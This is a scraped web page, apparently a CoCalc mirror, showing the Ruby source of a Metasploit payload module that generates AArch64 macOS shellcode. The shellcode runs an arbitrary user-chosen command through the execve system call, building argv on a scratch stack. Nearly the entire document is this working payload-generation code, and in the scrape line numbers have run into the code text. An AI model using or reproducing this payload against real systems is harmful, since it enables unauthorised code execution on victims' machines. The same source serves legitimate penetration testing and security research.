Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/osx/aarch64/exec.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 7678include Msf::Payload::Single910def initialize(info = {})11super(12merge_info(13info,14'Name' => 'OSX aarch64 Execute Command',15'Description' => 'Execute an arbitrary command',16'Author' => [ 'alanfoster' ],17'License' => MSF_LICENSE,18'Platform' => 'osx',19'Arch' => ARCH_AARCH6420)21)2223# exec payload options24register_options([25OptString.new('CMD', [ true, 'The command string to execute' ])26])27end2829# build the shellcode payload dynamically based on the user-provided CMD30def generate(_opts = {})31# Split the cmd string into arg chunks32cmd_str = datastore['CMD']33cmd_and_args = Shellwords.shellsplit(cmd_str).map { |s| "#{s}\x00" }3435cmd = cmd_and_args[0]36args = cmd_and_args[1..]3738# Don't smash the real sp register, re-create our own on the x9 scratch register39stack_register = :x940cmd_string_in_x0 = create_aarch64_string_in_stack(41cmd,42registers: {43destination: :x0,44stack: stack_register45}46)4748result = <<~EOF49// Set system call SYS_EXECVE 0x200003b in x1650mov x16, xzr51movk x16, #0x0200, lsl #1652movk x16, #0x003b5354mov #{stack_register}, sp // Temporarily move SP into scratch register5556// Arg 0: execve - const char *path - Pointer to the program name to run57#{cmd_string_in_x0}5859// Push execve arguments, using x1 as a temporary register60#{args.each_with_index.map do |value, index|61"// Push argument #{index}\n" +62create_aarch64_string_in_stack(value, registers: { destination: :x1, stack: stack_register })63end.join("\n")64}6566// Arg 1: execve - char *const argv[] - program arguments67#{cmd_and_args.each_with_index.map do |value, index|68bytes_to_base_of_string = cmd_and_args[index..].sum { |string| align(string.bytesize) } + (index * 8)69[70"// argv[#{index}] = create pointer to base of string value #{value.inspect}",71"mov x1, #{stack_register}",72"sub x1, x1, ##{bytes_to_base_of_string} // Update the target register to point to base of the string",73"str x1, [#{stack_register}], #8 // Store the pointer in the stack"74].join("\n") + "\n"75end.join("\n")}7677// argv[#{cmd_and_args.length}] = NULL78str xzr, [#{stack_register}], #87980// Set execve arg1 to the base of the argv array of pointers81mov x1, #{stack_register}82sub x1, x1, ##{(cmd_and_args.length + 1) * 8}8384// Arg 2: execve - char *const envp[] - Environment variables, NULL for now85mov x2, xzr86// System call87svc #088EOF8990compile_aarch64(result)91end9293def create_aarch64_string_in_stack(string, registers: {})94target = registers.fetch(:destination, :x0)95stack = registers.fetch(:stack, :x9)9697# Instructions for pushing the bytes of the string 8 characters at a time98push_string = string.bytes99.each_slice(8)100.each_with_index101.flat_map do |eight_byte_chunk, _chunk_index|102mov_instructions = eight_byte_chunk103.each_slice(2)104.each_with_index105.map do |two_byte_chunk, index|106two_byte_chunk = two_byte_chunk.reverse107two_byte_chunk_hex = two_byte_chunk.map { |b| b.to_s(16).rjust(2, '0') }.join108two_byte_chunk_chr = two_byte_chunk.map(&:chr).join109"mov#{index == 0 ? 'z' : 'k'} #{target}, #0x#{two_byte_chunk_hex}#{index == 0 ? '' : ", lsl ##{index * 16}"} // #{two_byte_chunk_chr.inspect}"110end111[112"// Next 8 bytes of string: #{eight_byte_chunk.map(&:chr).join.inspect}",113*mov_instructions,114"str #{target}, [#{stack}], #8 // Store #{target} on #{stack}-stack and increment by 8"115]116end117push_string = push_string.join("\n") + "\n"118119set_target_register_to_base_of_string = <<~EOF120mov #{target}, #{stack} // Store the current stack location in the target register121sub #{target}, #{target}, ##{align(string.bytesize)} // Update the target register to point to base of the string122EOF123124result = <<~EOF125#{push_string}126#{set_target_register_to_base_of_string}127EOF128129result130end131132def align(value, alignment: 8)133return value if value % alignment == 0134135value + (alignment - (value % alignment))136end137138def compile_aarch64(asm_string)139require 'aarch64/parser'140parser = ::AArch64::Parser.new141asm = parser.parse without_inline_comments(asm_string)142143asm.to_binary144end145146# Remove any human readable comments that have been inlined147def without_inline_comments(string)148comment_delimiter = '//'149result = string.lines(chomp: true).map do |line|150instruction, _comment = line.split(comment_delimiter, 2)151next if instruction.blank?152153instruction154end.compact155result.join("\n") + "\n"156end157end158159160